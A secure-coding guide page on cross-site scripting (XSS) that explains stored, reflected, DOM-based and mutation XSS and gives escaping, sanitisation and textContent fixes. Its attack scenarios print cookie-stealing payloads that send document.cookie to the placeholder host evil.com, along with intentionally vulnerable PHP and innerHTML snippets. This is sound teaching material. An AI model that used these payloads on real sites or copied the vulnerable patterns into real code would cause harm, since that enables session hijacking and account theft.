Cross-Site Scripting (XSS)
When to Use
Understand XSS attack vectors whenever your application displays user-generated content, accepts URL parameters, or renders data from any untrusted source.
XSS Attack Types
| Type | Description | Example | Impact |
|---|---|---|---|
| Stored XSS | Malicious script stored in database, displayed to other users | Comment with <script> tag saved to DB |
Highest risk - affects all users viewing the content |
| Reflected XSS | Malicious script in URL/form immediately reflected in response | Search page shows unescaped query ?q=<script>... |
Medium risk - requires victim to click malicious link |
| DOM-based XSS | JavaScript manipulates DOM with untrusted data | document.write(location.hash) |
Medium risk - purely client-side, no server involvement |
| Mutation XSS (mXSS) | Browser parses HTML differently than sanitizer | Sanitizer allows <noscript>, browser re-parses after sanitization |
Hard to detect - bypasses sanitizers |
Attack Scenarios
Stored XSS example:
1. Attacker posts comment: "Great article! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
2. Application saves comment to database without escaping
3. Victim views page with comment
4. Browser executes script, sends victim's session cookie to evil.com
5. Attacker hijacks victim's session
Reflected XSS example:
// Vulnerable search page
<?php
echo "You searched for: " . $_GET['q']; // No escaping!
?>
// Attack URL:
// /search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
DOM-based XSS example:
<script>
const name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Welcome ' + name;
</script>
<!-- Attack URL: -->
<!-- /page.html#<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)"> -->
Real-World Impact
CWE-79 (XSS) is the #1 most dangerous software weakness in 2025 according to MITRE CWE Top 25.
What attackers do with XSS:
- Steal session cookies — hijack accounts
- Capture keystrokes — steal passwords, credit cards
- Deface websites — replace content
- Distribute malware — drive-by downloads
- Phishing — inject fake login forms
- Cryptomining — use victim's browser for mining
- Worm propagation — XSS payload that spreads itself (Samy worm, 2005)
Prevention Strategy
Defense layers (all required):
- Input validation — allowlist validation
- Output encoding — context-specific escaping
- Content Security Policy — restrict script sources
- HTTPOnly cookies — prevent JavaScript access to session cookies
- Security headers — X-XSS-Protection, X-Content-Type-Options
Pattern
Preventing stored XSS:
from markupsafe import escape
import bleach
# Option 1: Escape everything (no HTML formatting)
def save_comment_plain(comment):
safe_comment = escape(comment)
db.execute("INSERT INTO comments (text) VALUES (?)", [safe_comment])
# Option 2: Allow safe HTML subset (preserve formatting)
ALLOWED_TAGS = ['p', 'br', 'strong', 'em', 'u', 'a']
ALLOWED_ATTRS = {'a': ['href', 'title']}
def save_comment_html(comment):
safe_comment = bleach.clean(comment, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS)
db.execute("INSERT INTO comments (text) VALUES (?)", [safe_comment])
Preventing reflected XSS:
<?php
$query = $_GET['q'] ?? '';
$safe_query = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
echo "<p>You searched for: {$safe_query}</p>";
?>
Preventing DOM-based XSS:
// Bad: innerHTML with untrusted data
const name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Welcome ' + name; // XSS!
// Good: textContent (no HTML parsing)
const name = location.hash.substring(1);
document.getElementById('welcome').textContent = 'Welcome ' + name; // Safe
// Good: createElement + textContent
const name = location.hash.substring(1);
const welcome = document.createElement('div');
welcome.textContent = 'Welcome ' + name;
document.getElementById('container').appendChild(welcome); // Safe
Common Mistakes
- Escaping only some output — ALL untrusted data must be escaped. One missed spot = XSS vulnerability
- Using innerHTML with user data — Use
textContentorinnerTextinstead. If you must use HTML, sanitize with DOMPurify or similar - Blocklist filtering — Trying to block
<script>tags fails. Attackers use<img onerror="...">,<svg onload="...">,<iframe>, etc. Use allowlist sanitization - Trusting "read-only" data — Database content can be poisoned. URL parameters can be manipulated. Cookies can be set by attacker. Escape everything
- Not setting HTTPOnly on session cookies — Without HTTPOnly flag, XSS can steal session cookies. ALWAYS set HTTPOnly on authentication cookies
- Forgetting about JSON responses — API responses with user data need proper Content-Type (
application/json) and escaping
See Also
- Previous: Output Encoding and Escaping | Next: XSS Prevention Patterns
- Reference: OWASP XSS Cheat Sheet
- Reference: CWE-79: Cross-site Scripting